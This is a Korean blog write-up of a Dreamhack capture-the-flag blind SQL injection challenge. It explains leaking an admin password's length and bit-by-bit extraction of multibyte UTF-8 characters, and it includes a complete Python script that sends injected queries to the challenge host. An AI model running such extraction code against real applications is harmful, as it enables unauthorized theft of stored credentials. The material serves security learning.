🚩Dreamhack - blind sql injection advanced
📂 Blind SQL Injection
📂 ASCII / Unicode
📂 Big-endian, Little-endian
Blind SQL Injection
Blind SQL Injection쿼리의 실행 값이 화면에 출력되지 않을 때 사용하는 SQL Injection 기법스무고개와 유사한 방식의 공격 1. Leak lengthSELECT * FROM user WHERE username='admin' and length(password)=n --1' and password='1'
yskr.tistory.com
ASCII, Unicode
Blind SQL Injection 실습을 하다가 한글의 한 글자가 24비트로 표현되는 이유를 몰라서 알아보게 되었다. ASCII (American Standard Code for Information Interchange)알파벳을 사용하는 대표적인 문자 인코딩으로
yskr.tistory.com
Big-endian / Little-endian
컴퓨터는 데이터를 메모리에 저장할 때 byte 단위로 저장한다. 컴퓨터가 저장하는 데이터는 보통 32 bits(4 bytes)나 64 bits(8 bytes)로 구성되는데 연속되는 바이트를 순서대로 저장해야 하며, 바이트가
yskr.tistory.com
1. 정보수집
2. Exploit
1. Length Leak
비밀번호 길이의 경우 다음과 같은 형태로 몇 번 시도하면 쉽게 알아낼 수 있다.
SELECT * FROM users WHERE uid='admin' and length(upw)>20 --1 ';
SELECT * FROM users WHERE uid='admin' and length(upw)=27 --1 ';
2. Characters Leak
문제는 각각의 글자를 알아내는 것인데, utf-8에서 영어만 있는 경우 문자 포함 33~127 정도로 범위가 작지만, 한글은 11,172개의 경우의 수가 존재하므로 단순히 처음부터 끝까지 모든 글자를 비교해보는 것은 너무 비효율적이다. 이럴 때 비트 연산을 이용하여 비교 횟수를 매우 줄일 수 있다. utf-8 인코딩에서 한글의 경우 3bytes로 한 글자를 표현하는데 3bytes는 비트로 표현하면 24자리이다. 각 자리가 1인지 0인지 비교하면, 문자 하나를 24번만에 알아낼 수 있다. 문자 하나하나를 비교하면 최대 11,172번을 대입해야 되는 반면, 비트 연산을 하면 24번의 대입만으로 글자를 알아 낼 수 있다.
파이썬 스크립트 짜기 전에 간단히 알고 가기
ord(c) *char -> Unicode num
bin(x) *int -> binary
int(string, /, base=10) *num or string -> int
int.to_bytes(Length=1, byteorder='big', *, signed=False) *int -> byte array
bytes.decode(encoding='utf-8', errors='strict') *byte -- decode --> (default: utf-8)
파이썬 스크립트로 한 문자씩 비트열을 비교하는데 비교하는 문자와 일치하는 비트열을 찾았을 때 해당 비트열을 다시 원래의 문자로 변환할 수 있어야 한다. 위 내용들을 바탕으로 아래와 같이 코드를 작성할 수 있다.
Python script
main()
check_length()
bit_length_each_char()
bits_each_char()
⬇️전체 코드 보기
from requests import get
host = "http://host3.dreamhack.games:21485"
# 비밀번호 길이 찾기
def check_length():
for num in range(0, 100):
query = f"admin' and char_length(upw) = {num}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
print(f"password length: {num}")
break
return num
# 비밀번호 문자별 비트 길이
def bit_length_each_char(i):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
return bit_length
# 비밀번호 문자별 비트값
def bits_each_char(i, bit_length):
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
return bits
# ASCII 문자와 한글이 포함된 비밀번호 알아내기
def main():
password_length = check_length()
password = ""
# 비밀번호 한글자씩 순회
for i in range(1, password_length + 1):
bit_length = bit_length_each_char(i) # 글자 하나의 비트 길이
bits = bits_each_char(i, bit_length) # 글자 하나의 비트값
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8") # 비트를 문자로 변환
print(password)
return password
main()